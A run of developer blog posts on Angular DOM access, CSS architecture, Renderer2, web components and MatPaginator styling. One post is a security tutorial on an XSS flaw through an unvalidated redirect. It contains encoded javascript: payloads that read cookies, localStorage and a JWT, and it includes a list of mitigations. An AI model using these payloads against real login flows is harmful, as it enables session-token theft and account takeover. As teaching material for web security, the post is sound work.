And direct DOM access is not some forbidden hack. It is a tool. Just use it where it makes architectural sense, not everywhere. If I were starting fresh today, my order of preference would usually be: render hooks first for timing, Renderer2 when I need Angular style writes, direct DOM access for browser specific integrations. That gives me the cleanest mental model, the least confusion, and usually the least future regret.

Unhandled CSS Ruining Life

Eduard Krivanek — Sat, 18 Apr 2026 12:37:05 +0000

There is a moment in the life of almost every mature frontend when CSS stops feeling like a tool and starts feeling like archaeology. You open one screen and the primary button has one height. On another screen, it is almost the same height, but not quite. Inputs look consistent until you open a modal. Selects behave until a page level override wins. Somewhere in the codebase there is a global stylesheet that still matters, a component stylesheet that matters more, and one deep selector that matters most of all. Nothing is completely broken. That is what makes this kind of problem dangerous. The problem is usually not “bad CSS.” The problem is that the application no longer has a clear styling architecture.

When CSS stops being local

Early in a project, styling feels easy because the UI is still small enough to be held in one person’s head. A global stylesheet provides the visual baseline. Components get their own local styles. A UI library gives you buttons, selects, inputs, and checkboxes that are good enough to move quickly. If the design team needs something slightly different, you add an override and keep going. Then the application grows. New sections arrive. Feature teams solve similar problems in slightly different ways. One group wraps a checkbox into a reusable consent component because the label needs links, validation, and custom spacing. Another group uses the raw checkbox from the component library because it is quicker and the feature deadline is near. Somebody adds a global override to make all form controls match the brand more closely. Somebody else adds a local override because the global rule broke a special case. A page with unusual requirements bends the styling rules just enough to ship. No one is wrong in the moment.

Unlike a refactor that fails loudly, styling debt often survives because each local decision makes sense when viewed in isolation. Over time, however, the application develops an invisible split personality. It has “official” components and “practical” components. It has “shared styles” and “the real styles that actually win in production.” It has consistency in theory and variation in practice. At that point, the team usually starts asking the wrong question. They ask, “Should we clean up SCSS?” or “Should we move to Tailwind?” or “Should we get rid of global styles?”

The warning signs that matter

A broken styling architecture rarely announces itself with one catastrophic bug. It reveals itself through friction. The strongest warning sign is not visual inconsistency by itself. Mature products often have legitimate variation. The strongest warning sign is that developers need to know too much internal detail in order to style a basic control safely. If a developer has to remember the internal DOM structure of a third party checkbox component, or the exact selector required to override a library label, or whether a certain control should be changed in a global theme file instead of a wrapper component, the architecture is already leaking.

That kind of leak is expensive because it distributes responsibility downward. Instead of having one stable place where the checkbox lives as a product decision, the application spreads checkbox behavior across templates, wrappers, overrides, library classes, and exceptions. The same usually happens with inputs, selects, and buttons. Once those foundations drift, every feature built on top of them becomes harder to reason about.

What the destination should feel like

The most important outcome of a CSS recovery effort is not prettier code. It is restored trust. When trust exists, a developer can open the codebase and make a styling change with a reasonable expectation of what else it will affect. A product designer can request a form refresh without triggering a month of regressions. A new team member can infer where a style belongs because the architecture teaches them by example. Even exceptions become manageable, because they are clearly exceptions rather than secret rules.

The first layer is the foundation: design tokens, typography, spacing scale, color roles, border radii, elevation, motion. These are the values that give the product a consistent visual language. They should be stable, semantic, and boring. If color or spacing values are still scattered as raw numbers throughout the app, the system has not yet found its center.

The second layer is primitives: the actual controls the application relies on every day. This is where buttons, inputs, selects, checkboxes, labels, and validation patterns belong. Whether they are implemented with plain HTML, wrapped around a component library, or partially themed through one is less important than this fact: the rest of the application should not need to care. A checkbox should arrive as a reliable product primitive, not as a styling opportunity.

The third layer is composition: shared UI patterns and feature screens. This is where a consent block, settings row, profile form section, payment card, or alert panel becomes specific to product needs. Composition should use primitives, not redefine them. A feature page may choose arrangement, content, density, or emphasis, but it should not quietly invent a new checkbox standard because the page stylesheet made that convenient.

A small example of the real difference

Here is a tiny example that captures the deeper issue. In a drifting codebase, a checkbox often appears like this in one component:

<library-checkbox class="terms-checkbox">
  I agree to the terms
</library-checkbox>

// ----
// local styles
.terms-checkbox {
  margin-top: 12px;
}

:host ::ng-deep .library-checkbox-label {
  font-size: 14px;
  line-height: 20px;
}

At first glance, this does not look terrible. It is short. It ships. It solves the screen. But it quietly pushes product decisions into the wrong place. The feature page now owns checkbox spacing, label typography, and knowledge of the third party component’s internal structure. If five pages do this differently, the application has five checkbox definitions whether anyone admits it or not. The healthier version is not healthier because it is prettier. It is healthier because responsibility moves back to the primitive:

<app-checkbox [invalid]="submitted && control.invalid">
  I agree to the terms
</app-checkbox>

// ---- 
// global styles
.ui-checkbox {
  display: grid;
  grid-template-columns: auto 1fr;
  gap: var(--space-3);
  align-items: start;
  color: var(--color-text);
  font-size: var(--font-size-sm);
}

Start where inconsistency hurts the most

If I were leading this effort, I would not start with the flashiest screen or the worst stylesheet. I would start with the controls that repeat so often that their inconsistency silently infects the whole product. That usually means the same short list: buttons, inputs, selects, checkboxes, field labels, and validation states.

These controls are deceptively small, but they shape almost every workflow. They appear in onboarding, settings, verification, payments, preferences, support flows, and edge case recovery screens. When they drift, the application feels unstable even if the layouts themselves are fine. When they are standardized, the product suddenly feels more polished even before the larger redesign work begins.

If the application uses raw library checkboxes in twenty places and one shared checkbox-like component in five other places, I would not try to normalize them all by editing twenty-five screens immediately. I would create one stable checkbox primitive with a product-level API and begin routing new work through it.

The migration succeeds or fails on API design

Teams often think of shared UI primitives as styling work, but they are really API design work. The reason so many “shared components” fail to gain adoption is not that their CSS is bad. It is that their API is awkward. If using the shared checkbox means fighting its inputs, working around its markup rules, or losing flexibility in rich-label cases, developers will bypass it the first time a deadline gets tight.

So the primitive must be designed around real use cases, not idealized demos. A checkbox, for example, is not just a square with a label. In a mature product, it often has to support long text, linked text, validation, hint content, disabled states, analytics hooks, form integration, and alignment that still works when the label wraps to multiple lines. If one of the existing flows already solved some of that well, I would use it as evidence. Not because that flow is perfect, but because it proves the product has already discovered what the primitive actually needs to do.

The hardest part is global CSS

Every large frontend has a file or folder that became more important than anyone intended. Sometimes it is a theme file for the component library. Sometimes it is a forms.scss, material-overrides.scss, or global.scss that began life as a legitimate foundation and gradually became the emergency department for the entire UI. The team knows it is risky, but it also knows that changing one selector there can solve three screens at once. That is exactly why it becomes dangerous. I would not try to delete global CSS early in the migration. That usually creates panic and replacement churn. Instead, I would change its job description.

Global CSS should define what is globally true. It should own tokens, resets, typography foundations, layout constraints that truly belong to the whole shell, and limited app-wide theming. What it should not own is the local survival strategy of individual controls. That means if a checkbox needs special label spacing, the fix should eventually live in the checkbox primitive. If one kind of input has special error presentation, that should eventually live in the field or input primitive. If a select needs a custom icon or density variant, that should be part of the primitive’s contract, not a side effect of a global selector targeting internal library classes.

What the first visible wins usually look like

A product designer asks for updated checkbox spacing and the team can implement it in one place. A validation redesign lands across several forms without every page needing local tweaks. A new settings section ships and feels consistent with older screens because it uses the shared field primitives by default. Developers start removing deep selectors not because a rule forbids them, but because they no longer need them as often.

That kind of momentum matters. CSS recovery is partly technical and partly psychological. The team needs proof that the new path is easier than the old one. If the shared components feel slower, people will drift back to direct styling. If they feel like relief, adoption becomes self-reinforcing.

This is why I would avoid introducing too many abstraction layers at once. The first generation of primitives should not try to encode every future design-system dream. They should solve the current product’s repeated pain points clearly enough that developers trust them. Once that trust exists, the system can evolve.

And only then does the Tailwind question become interesting

By this stage, the Tailwind conversation becomes much more productive. Before the migration, Tailwind would have been a debate about taste and tooling. During the migration, it would have risked becoming another parallel styling language. After the primitives and ownership model start to stabilize, it becomes a real architectural choice.

At that point the team can ask much sharper questions. Do we want utilities mainly for layout and composition while keeping primitives encapsulated? Do we want to express tokens through utility classes? Do we want Tailwind to reduce the volume of one-off page styles, but not replace shared components? Can we keep markup readable and component APIs clear? Do we have enough discipline to avoid mixing utilities, local SCSS, and deep third-party overrides in the same feature?

So if I were telling this story publicly, I would frame Tailwind not as the rescue plan, but as a potential late-stage accelerator. The rescue plan is still the same: define primitives, wrap unstable dependencies, shrink the global blast radius, and migrate by steady adoption rather than heroic cleanup. That is how large frontends usually recover. Not by one rewrite, but by a series of decisions that make the right thing easier and the wrong thing less necessary.

Angular - Power Of Renderer2

Eduard Krivanek — Sat, 21 Mar 2026 08:59:36 +0000

When we build apps with Angular, we usually stay inside the world of templates and signals. It works great for almost everything. But sometimes you hit a wall and need a lower level access to build a custom tooltip, a complex file generator, or a special pagination system. In those moments, you might want to use "document" or "nativeElement" to change a color or move an element. However, doing this can break your app. Renderer2 lets you talk to the webpage safely.

Why Direct DOM Access Is Risky

It is easy to write document.getElementById in a component, but that habit can cause three major problems:

1. The Server Side Challenge
Many modern apps use Server Side Rendering or SSR. This means your app starts running on a server before it ever reaches a user's browser. A server does not have a "window" or a "document" because there is no actual screen there. If your code tries to find a button using the global document while it is running on the server, your whole application will crash. Renderer2 is smart. It knows if it is running on a server or in a browser, and it ensures your code does not cause a crash.

2. Security and XSS
Web security is a top priority. If you use something like innerHTML to inject content, you might accidentally open a door for hackers. This is called Cross Site Scripting or XSS. They can inject sneaky scripts into your site to steal data. Angular is very good at blocking these attacks, but it can only protect you if you use its official tools. Renderer2 helps keep your app safe by handling these changes in a secure, sanitized way.

3. Testing Your Code
We want our tests to be fast and reliable. If your component is tied directly to the browser DOM, it becomes very difficult to test in different environments. By using the tools Angular provides, you can "mock" or fake the webpage during your tests. This makes your testing process much smoother and ensures your code works perfectly before it goes live.

Renderer2 is an "abstraction." This just means it is a middleman that talks to the DOM for you. You do not have to worry about whether the app is on a phone, a server, or a browser. To start using it in a modern component or directive, you just inject it along with the ElementRef or use the DOCUMENT injection token to access HTML elements.

import { Component, inject, Renderer2, ElementRef, viewChild } from '@angular/core';

@Component({
  selector: 'app-custom-style',
  standalone: true,
  template: `<div #myBox>Target Box</div>`
})
export class MyComponent {
  private renderer = inject(Renderer2);
  private box = viewChild<ElementRef>('myBox');

  applyStyle() {
    const el = this.box()?.nativeElement;
    if (el) {
      this.renderer.setStyle(el, 'background-color', 'blue');
    }
  }
}

Renderer2 gives you a set of tools that cover almost everything you would ever need to do to a webpage. Here are the ones we use most often:

createElement: Build a new HTML tag from scratch without using messy strings.
createText: Add plain text inside your elements.
appendChild: Take a new element and put it inside another one.
setStyle and removeStyle: Change colors, margins, or animations on the fly.
addClass and removeClass: The best way to handle CSS transitions and dark mode themes.

Using addClass is usually better than setStyle because it keeps your design logic inside your CSS files where it belongs. I have used this many times when building custom UI like a YAML file generator or a custom pagination component. When you are parsing complex data and need to show it on the screen, these methods keep your code clean and easy to read.

One useful example I like to always go with is a clickable element directive. This is a common task when you want to add special behavior to a button or a div without breaking the way the page works. By using the renderer to add or remove classes based on user interaction, you keep the DOM manipulation safe and clean. It is a much better way to handle "active" states or ripple effects than trying to manage every single CSS change through a complex template binding. You can read the full example here.

import { Directive, inject, Renderer2, ElementRef } from '@angular/core';

@Directive({
  selector: '[appClickable]',
  standalone: true,
  host: {
    '(click)': 'onElementClick($event)',
    '(mouseenter)': 'onHover()',
    '[class.is-active]': 'active()'
  }
})
export class ClickableDirective {
  private el = inject(ElementRef);
  private renderer = inject(Renderer2);

  // We can use signals for state
  protected active = signal(false);

  onElementClick(event: MouseEvent) {
    this.active.set(!this.active());
    // Using renderer to set a style safely
    this.renderer.setStyle(this.el.nativeElement, 'backgroundColor', 'yellow');
  }

  onHover() {
    console.log('User is hovering over the element');
  }
}

You might wonder when to use RendererFactory2. Think of Renderer2 as the tool you hold in your hand. RendererFactory2 is the factory that builds that tool. Most of the time, you just inject Renderer2. But if you are working in a service where there is no specific element to attach to, you might need the factory to create a renderer for you. Here is how that looks:

import { inject, Injectable, RendererFactory2 } from '@angular/core';

@Injectable({ providedIn: 'root' })
export class DynamicThemeService {
  private factory = inject(RendererFactory2);
  // We create a renderer that is not tied to any specific component
  private renderer = this.factory.createRenderer(null, null);

  applyGlobalTheme(themeName: string) {
    this.renderer.addClass(document.body, themeName);
  }
}

Practical use cases for Renderer2 usually pop up when you are dealing with things that live outside the standard Angular template logic.

A great example is handling image loading issues. You use the renderer to listen for the "error" event on an <img> tag and then safely swap the src attribute to a backup image. This prevents your UI from looking broken if an external link fails, and it works perfectly even if you are using Server Side Rendering.

Another high level case is discussed in the blogpost about web components in Angular. When you use custom elements, standard Angular inputs can sometimes fail during navigation between pages. Using the renderer to manually set properties or attributes on those web components ensures that the data stays synced and the component does not break when the user moves around your app.

Finally, when you need to build custom angular material pagination. Since the internal parts of material components are often hidden or hard to reach, the renderer lets you find those specific buttons or labels to inject custom logic or styles. This allows you to create a unique user experience without having to rewrite the entire pagination logic from scratch.

Summary

A great video on this topic is from Decoded Frontend - The Role of Renderer2 in Modern Angular. While many problems have multiple solutions, you can solve many cases by just simply accessing the DOM directly, however using renderer, it gives you a safe, SSR compatible, way of doing so. Understanding how it works, allows you to solve problems in a cleaner way. Hope you liked this example, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

Exploiting Unvalidated Redirects for XSS

Eduard Krivanek — Tue, 06 Jan 2026 14:21:39 +0000

Being in web development for a while, you start exploring different domains than just mastering your favourite framework. I decided to learn more about web security. We hear a lot about preventing our web apps from exploitation, sanitize data, never trust user inputs, so on, so on… the truth is that we overlook (willingly or accidentally) security holes when developing new features, which can lead exploits and production outage.

In this post, I want to explore how an attacker can potentially steal client side information or inject scripts using unvalidated redirects. For this example we will use a dashboard application in Angular, an authentication app in React, and a server in NestJS. In real life you would have a dedicated identity server, just for authentication, but this setup is good enough for our demonstration.

The Scenario

Here is the scenario. Imagine you are in a large organization with multiple production applications. Each app lives on a separate URL, fulfilling a different business purpose. However, you want a centralized login system. You have one authentication endpoint where each user logs in, and the server verifies their identity. Something as showed on the following image:

Expected Behaviour

First I want to describe the expected behaviour (”happy path”) with this approach, how we assume the user should use the app.

Initial load - You start on the main application (http://localhost:4200), we use localhost, but the can be any kind of domain name.
Redirect to auth - Since you are not logged in (no token in LocalStorage), the app redirects you to the Auth Server (http://localhost:4201).
State passing - We send a base64 encoded state query parameter (context) to the auth app from the origin. Encoding data as who created the redirection, the origin name (appName), where to return (redirectUrl), and a tracking ID (traceId) for monitoring.
Success - Once authenticated, the user is redirected back to the original app (http://localhost:4200 - information from the redirectUrl), with a JWT token in the query parameter.

The decoded state query param passes to the auth application can be seen in the “debug” green section. When user logs in, back in the original (Angular) app, we grab the JWT token, remove it from the query param and save it into localstorage and to the application internal state. In the GIF above you can see displayed in console this JWT token. This is how it’s done in Angular, just for some overview:

@Component({ /* ... */ })
export class App {
  private readonly appState = inject(AppState);
  private readonly router = inject(Router);

  constructor() {
    afterNextRender(() => {
      // check URL for token on initial load - user authenticated
      const params = new URLSearchParams(window.location.search);
      const token = params.get('token') as string | null;

      if (!token) {
        return;
      }

      // custom logic to parse the JWT into normal object
      const decodedToken = customDecodeToken<User>(token);

      if (decodedToken) {
        // clean URL to remove token param
        window.history.replaceState({}, document.title, '/');

        // save the user to the application state
        this.appState.setData('token', token);
        this.appState.setData('user', decodedToken);

        // persist data for application reload
        localStorage.setItem('access_token', token);

        // redirect to the app
        this.router.navigate(['/overview']);
      }
    });
  }
}

Overview Of XSS Vulnerability In Redirection

The application works fine, so where exactly is the potential bug ? We need to take a look at the React (authentication) app. Even if you are not familiar with React, the logic here is straightforward:

import { useEffect, useState } from 'react';

function App() {
  // used in HTML to set auth data
  const [username, setUsername] = useState(authLogin.username);
  const [password, setPassword] = useState(authLogin.password);

  // decoded from the URL `state` query param
  const [appName, setAppName] = useState('');
  const [redirectUrl, setRedirectUrl] = useState('');
  const [traceId, setTraceId] = useState('');

  useEffect(() => {
    // read the 'state' query param
    const params = new URLSearchParams(window.location.search);
    const stateParam = params.get('state');

    if (!stateParam) {
    return 
    }

    // decode base64 - vulnerability
    const decodedString = atob(stateParam);
    const stateData = JSON.parse(decodedString);

    // extract context information
    if (stateData.appName) {
       setAppName(stateData.appName);
    }
    if (stateData.redirectUrl) {
       setRedirectUrl(stateData.redirectUrl);
    }
    if (stateData.traceId) {
       setTraceId(stateData.traceId);    
    }
  }, []);

  const handleLogin = async (e: any) => {
    e.preventDefault();

    try {
      // send auth to NestJS backend
      const response = await fetch('http://localhost:3000/api/auth/login', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({ username, password }),
      });

      // invalid credentials 
      if (!response.ok) {
        throw new Error('Invalid credentials');
      }

      const data = await response.json();
      const token = data.access_token;

      // handle redirect
      if (redirectUrl) {
        const hasToken = redirectUrl.includes('{token}');
        // check if contains the {token} query param, if so replace it or append at the end
        const finalUrl = hasToken ? redirectUrl.replace('{token}', token) : `${redirectUrl}?token=${token}`;
        // redirect back to original domain
        window.location.href = finalUrl;
      }
    } catch (error) {
      alert('Login Failed: Invalid username or password');
      console.error(error);
    }
  };

  return ( /* HTML .... */ );
}

export default App;

I wouldn’t personally have known that there was a bug if I hadn’t built this example specifically to test it. The vulnerability is hidden in how we handle the redirect using window.location.href.

This property is used to navigate the user to a different domain. If we set it to window.location.href = "https://google.com", we go to Google. Where is the problem tho? If we do not validate the redirectUrl, it is possible to execute code like this:

 window.location.href = "javascript:alert('XSS Executed');window.location.href='https://www.google.com';//"

Now, of course, this demonstration will not work on every domain. If you are outside localhost, you may receive an Error as displayed below. The script execution is prevented by CSP (Content Security Policy). This header tells the browser to only execute code from trusted JS file. For this demonstration, we assume the application has a missing or weak CSP (allowing 'unsafe-inline'), which can happen in legacy apps. Most of the time you have a strict CSP, therefore executing such a script is not that simple. Currently we ignore this defense mechanism, we just want to demonstrate one of the potential vulnerabilities, as the attacker could find a different backdoor to execute the following attack.

Real World Demonstration

Since we are not sanitizing the redirectUrl, that is parsed on the auth React app, we can encode Javascript code inside it. When we visit the auth application, all the information is encoded to the state query param by base64. Therefore we can construct a malicious payload and encode it:

{
  "appName": "Workday Clone (Angular)",
  "traceId": "Example-123",
  "redirectUrl": "javascript:alert('XSS Executed');window.location.href='http://localhost:4200?token={token}'"
}

// will result to the following hash:
/**
ewogICAgICJhcHBOYW1lIjogIldvcmtkYXkgQ2xvbmUgKEFuZ3VsYXIpIiwKICAidHJhY2VJZCI6
ICJFeGFtcGxlLTEyMyIsCiAgInJlZGlyZWN0VXJsIjogImphdmFzY3JpcHQ6YWxlcnQoJ1hTUyBF
eGVjdXRlZCcpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwOi8vbG9jYWxob3N0OjQyMDA/dG9r
ZW49e3Rva2VufSciCn0=
**/

Both application is running on localhost, but the domains can be anything. The idea of this attack is simple:

The attacker sends a victim a link to the legitimate login page, but with a modified state parameter.
The victim logs in securely.
The React app reads the malicious redirectUrl.
The browser executes the injected script (XSS).
The script then redirects the user to the actual app, so the victim has no idea what happened.

On this example you see a harmless alert for a demonstration. But what if we wanted to be destructive? We could inject code in the state query param to steal the user's localStorage, cookies and the JTW token, and send them to an external server using fetch() before redirecting them.

const t = '{token}';

const capturedData = {
   cookies: document.cookie,
   storage: localStorage,
   token: t
};

// attacker would use fetch() to log somewhere this data
alert(JSON.stringify(capturedData, null ,2));

window.location.href = 'http://localhost:4200?token=' + t;

// --------------------
/** -- Generated Base64
ewogICAgICJhcHBOYW1lIjogIldvcmtkYXkgQ2xvbmUgKEFuZ3VsYXIpIiwKICAgICAgInRyYWNl
SWQiOiAic3AtMTIzIiwKICAgICAgInJlZGlyZWN0VXJsIjogImphdmFzY3JpcHQ6Y29uc3QgdD0n
e3Rva2VufSc7Y29uc3QgY2FwdHVyZWREYXRhPXtjb29raWVzOmRvY3VtZW50LmNvb2tpZSxzdG9y
YWdlOiBsb2NhbFN0b3JhZ2UsdG9rZW46dH07YWxlcnQoSlNPTi5zdHJpbmdpZnkoY2FwdHVyZWRE
YXRhLG51bGwsMikpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwOi8vbG9jYWxob3N0OjQyMDA/
dG9rZW49Jyt0OyIKfQ==
**/

In the example above, we successfully displayed (or "stole") client’s information. The user was still able to log in, meaning the attack was executed silently. The attacker now has the user’s valid token and can impersonate them.

A confusing part may be how the attacker got the JWT token. This goes back to the this code redirectUrl.replace('{token}', token). The redirectUrl is the whole JS displayed above as a string:

 "redirectUrl": "javascript:const t='{token}';const capturedData={cookies:document.cookie,storage: localStorage,token:t};alert(JSON.stringify(capturedData,null,2));window.location.href='http://localhost:4200?token='+t;"

The attacker knows the replace part exists in the React app. Yes, the JS is minified in PROD, but let’s skip the logic how the attacker knows about this vulnerability. The auth application sees the {token} placeholder and injects the real JWT right into it and then just executes the whole JS inside the redirectUrl.

Keep in mind that sometimes when the query param (state) is too long, it can fail on parsing/decoding. Therefore the attacker could use JS minification and URL shortener tools to avoid parsing crashes and suspicion from the victim side.

Even if our application had a strict CSP that would have blocked the javascript: execution, we would still have a major security hole, an “Open Redirect Vulnerability”. The attacker could set the redirectUrl to http://fake-login-page.com. The user logs inside the real app, the server returns a valid token, and then auth app immediately redirects the use to the attacker's phishing site (which looks the same as our auth app). The victim might re-enter their credentials into the fake site. Therefore we should have an allowlist, list of valid domain where the user can be redirected.

Avoid XSS Vulnerability In Redirection

This demo tried to mimic some real-world scenario, but also it was designed such that we will be able to execute this XSS redirect attack. Production applications are probably much more protected than my demo, but if your app looks like something that I’ve presented, here are some ways how you can prevent this attack:

Temporary Token - Instead of sending the actual JWT access token in the URL, the auth server should generate a one time use "authorization code" and pass that in the redirect. When the Angular dashboard receives this code, it requests the backend to exchange it for the real JWT. This works because the code is valid only for a few seconds, making it useless even if captured.
Token Reuse Detection - The backend should mark the real token as "used" in the database immediately after it is exchanged or validated for the first time. You can even attached the requester IP address to the specific token. If the system detects a second attempt to use the same token ("replay attack"), it should immediately invalidate that token… maybe even alert the security team.
Domain Validation - The most immediate fix is to validate the redirectUrl on the client side, sanitize the data. Probably creating one URL validation function that checks if the contains any javascript: code and whether it starts with http: or https:. Even an “allowedList” of trusted domains that sits on the authentication app can help to prevent redirection to any phishing site.

There are many more ways how to prevent this attack. I am not a security expect, but this is an interesting example I bumped into when I was researching about security, so I wanted to share my findings. Hope you liked this article, catch more of my stuff on dev.to, connect with me on LinkedIn or check my Personal Website.

Web Components in Angular - Why Passing Inputs Breaks on Navigation

Eduard Krivanek — Sun, 21 Dec 2025 16:11:40 +0000

Imagine that in your organization one team is building a library that you want to integrate into your Angular app. That library is built using a different framework, such as Svelte or React, and uses Web Components for seamless integration.

For this example, let’s say it is a card payment widget you want to integrate into Angular (payment-widget), and it requires some input parameters like country and entity, which are validated during the construction of the widget. If incorrect values are provided, the component will fail. You might have something like this:

@Component({
  selector: 'app-payment-wrapper',
  template: `
    <payment-widget [attr.country]="country()" [attr.entity]="entity()" />
  `,
  schemas: [CUSTOM_ELEMENTS_SCHEMA]
})
export class PaymentWidgetComponent {
 readonly country = input.required("")
 readonly entity = input.required("")

 // ... other code
}

On the first load, everything works fine. The attributes are passed and the widget works as expected. Then you navigate away (the component is destroyed), come back, and get an error: Bad or unsupported value 'undefined' of input parameter 'entityUid'. The Angular component has the value. The binding exists. Yet the Web Component crashes as if the value never arrived. This makes the issue especially confusing because there is no compilation or TypeScript error.

I am writing this article because I recently ran into this issue, and it took us a while to understand what was happening and why it worked only once. Our assumption was that “if I bind `[attr.]`, Angular will update the element whenever the value changes”*, which is correct, but it does not work the way you might expect with Web Components.

When you use a web component directly in an Angular template, everything usually looks fine at first. On the first navigation to the page, Angular creates the wrapper component and renders the custom HTML element. In most cases, the required values like country or entity are already available, or they resolve quickly enough. Angular creates the DOM element, then shortly after sets the attributes via [attr.*].

The problem appears when you navigate away and then come back. Angular destroys the wrapper component when you leave the route and creates a new instance when you return. The important detail is that the browser initializes a custom element immediately when it is attached to the DOM. This means the web component’s constructor run before Angular has had a chance to set any attributes. At that moment, attributes like entity or country are still missing or undefined, even though Angular has the correct values ready. Once that happens, Angular cannot recover by setting the attributes later, because the component has already failed during its own initialization.

This is why the first render works and the second one does not. It happens because Angular and custom elements follow different lifecycle rules (not because of caching). Angular assumes it can create an element first and configure it afterward, while a web component assumes it is fully configured at the moment it is connected to the DOM.

Incorrect Solutions

Before giving the actual working example, I want to give some examples what we have tried but did not work. One of the solutions we thought will work (but did not) was using a condition when to render the widget, so something like:

@Component({
  selector: 'app-payment-wrapper',
  template: `
   @if(country() && entity())
     <payment-widget
        [attr.country]="country()"
        [attr.entity]="entity()" />
    }
  `,
  schemas: [CUSTOM_ELEMENTS_SCHEMA]
})
export class PaymentWidgetComponent {
  readonly country = input.required('');
  readonly entity = input.required('');
}

Using a condition only controls when Angular adds the element to the DOM. As soon as the element is inserted, the browser immediately initializes the Web Component. Angular still applies [attr.*] bindings after the element is connected, so the Web Component can still initialize with missing or undefined values, especially when navigating back to the page.

Another failed attempts were using setTimeout(), afterRendererEffect or at one point we just hardcoded the country and entity many many (too many times) and had a switch statement in HTML to which payment-widget display. This solved the problem, but it wasn’t very scalable and finally we bumped to the correct solution.

Correct Solution

The only reliable way to solve this problem is to stop letting Angular create the Web Component through the template. Instead, you create the element yourself, set all required attributes first, and only then attach it to the DOM. So an example is the following using Renderer :

@Component({
  selector: 'app-payment-wrapper',
  template: `<div #elRef></div>`,
})
export class PaymentWidgetComponent {
  private readonly renderer = inject(Renderer2);
  private readonly destroyRef = inject(DestroyRef);

  readonly elRef = viewChild('elRef', { read: ElementRef<HTMLElement> });

  readonly country = input.required('');
  readonly entity = input.required('');

  // reference for the HTML element for cleanup
  private paymentWidget?: HTMLElement;

  constructor(){
   afterRendererEffect(() => {
      const paymentWidget = this.renderer.createElement('payment-widget');
      const elementRef = this.elRef().nativeElement;

      this.paymentWidget = paymentWidget;

      // set input attributes
      this.renderer.setAttribute(el, 'country', this.country());
      this.renderer.setAttribute(el, 'entity', this.entity());

      // attach to the DOM
      this.renderer.appendChild(elementRef, paymentWidget);
    });

     // cleanup - release memory
     this.destroyRef.onDestroy(() => {
       if (this.paymentWidget) {
         this.renderer.removeChild(host, this.paymentWidget);
         this.paymentWidget = undefined;
       }
    });
  }
}

This works because the Web Component is not connected to the DOM yet when its attributes are set. The browser does not run the custom element’s constructor or connectedCallback() until the element is actually appended. By the time that happens, all required attributes already exist and have valid values. From the Web Component’s point of view, it is being initialized in a fully configured state.

Another important detail is that Angular is no longer involved in the element’s lifecycle. Angular does not create the element, does not attach it automatically, and does not try to update its attributes later. You are treating the Web Component as an external system and interacting with it explicitly. This removes the timing mismatch between Angular’s rendering and the browser’s custom element initialization.

When you leave the route, the element is removed with the rest of the DOM. When you come back, a new element is created, configured, and attached. There is no first vs second render difference, and no chance for the Web Component to see undefined inputs during its initialization. Hope you liked this shorter article, catch more of my stuff on dev.to, connect with me on LinkedIn or check my Personal Website.

Angular - Custom MatPaginator Styling

Eduard Krivanek — Mon, 24 Nov 2025 17:04:37 +0000

One of my more popular articles that I’ve published is Angular: MatPaginator Custom Styling, which shows how to transform Angular Material’s paginator (on a mat-table) using a custom directive to make it look more appealing.

I decided to update this article because since then, two major things have changed. It was originally written for Angular v14, and since then we’ve received the major Angular Material MDC components, which caused quite a few issues for people updating their projects, along with some smaller Angular improvements. Also, in my previous article, I was accessing some private methods of the MatPaginator component. In the GIF below, you can see the final example we’ll be building. You can also find the full source code in this GitHub repository.

I will start this blog post by showing the full code section, you can always come back to it, and then we’ll go through some of the more interesting or not that obvious parts. You might already have a table component displaying data, something like this:

import { afterNextRender, Component, viewChild } from '@angular/core';
import { MatPaginator, MatPaginatorModule } from '@angular/material/paginator';
import { MatTableDataSource, MatTableModule } from '@angular/material/table';

type Data = { position: number; name: string; weight: number; symbol: string };

@Component({
  selector: 'app-test-table',
  imports: [MatTableModule, MatPaginatorModule, BubblePaginationDirective],
  template: `
    <table mat-table [dataSource]="dataSource">
      <!-- Position Column -->
      <ng-container matColumnDef="position">
        <th mat-header-cell *matHeaderCellDef>No.</th>
        <td mat-cell *matCellDef="let element">{{ element.position }}</td>
      </ng-container>

      <!-- ... more columns ... -->

      <tr mat-header-row *matHeaderRowDef="displayedColumns"></tr>
      <tr mat-row *matRowDef="let row; columns: displayedColumns"></tr>
    </table>

    <mat-paginator [length]="dataSource.data.length" [pageSize]="10" />
  `,
})
export class TestTableComponent {
  readonly dataSource = new MatTableDataSource<Data>([]);
  readonly paginator = viewChild(MatPaginator);

  readonly displayedColumns: string[] = ['position', 'name', 'weight', 'symbol'];

  constructor() {
    const data: Data[] = [];
    Array.from({ length: 100 }, (_, k) => k + 1).forEach(v => {
      data.push({ position: v, name: `Element ${v}`, weight: v * 1.5, symbol: `E${v}` });
    });

    this.dataSource.data = data;

    afterNextRender(() => {
      const paginator = this.paginator();

      if (paginator) {
        this.dataSource.paginator = paginator;
      }
    });
  }
}

With this simple configuration, your table looks as follows:

What we want to achieve is creating a directive that we can attach to the mat-paginator and it will transform the look of our paginated table into the bubble example. The usage of the directive will be the following:

<mat-paginator
  [appBubblePagination]="dataSource.data.length"
  (page)="onPageChange($event)"
  [length]="dataSource.data.length"
  [pageSize]="15">
</mat-paginator>

Here is the full code of the directive and below I describe some of its sections.

import { Directive, ElementRef, Renderer2, afterRenderEffect, inject, input, untracked } from '@angular/core';
import { MatPaginator } from '@angular/material/paginator';

/**
 * Works from angular-material version 15. since all classes got the new prefix 'mdc-'
 */
@Directive({
  selector: '[appBubblePagination]',
})
export class BubblePaginationDirective {
  private readonly matPag = inject(MatPaginator, {
    optional: true,
    self: true,
    host: true,
  });
  private readonly elementRef = inject(ElementRef);
  private readonly ren = inject(Renderer2);

  /**
   * whether we want to display first/last button and dots
   */
  readonly showFirstButton = input(true);
  readonly showLastButton = input(true);

  /**
   * total number of items in pagination
   * needed to calculate how many buttons to render
   * when page size changes
   */
  readonly paginationSize = input(0, {
    alias: 'appBubblePagination',
  });

  /**
   * how many buttons to display before and after
   * the selected button
   */
  readonly renderButtonsNumber = input(2);

  /**
   * references to DOM elements
   */
  private dotsEndRef!: HTMLElement;
  private dotsStartRef!: HTMLElement;
  private bubbleContainerRef!: HTMLElement;

  /**
   * ref to rendered buttons on UI that we can remove them size changes
   */
  private buttonsRef: HTMLElement[] = [];

  readonly buildButtonsEffect = afterRenderEffect(() => {
    // rebuild buttons when pagination size change
    this.paginationSize();

    untracked(() => {
      // remove buttons before creating new ones
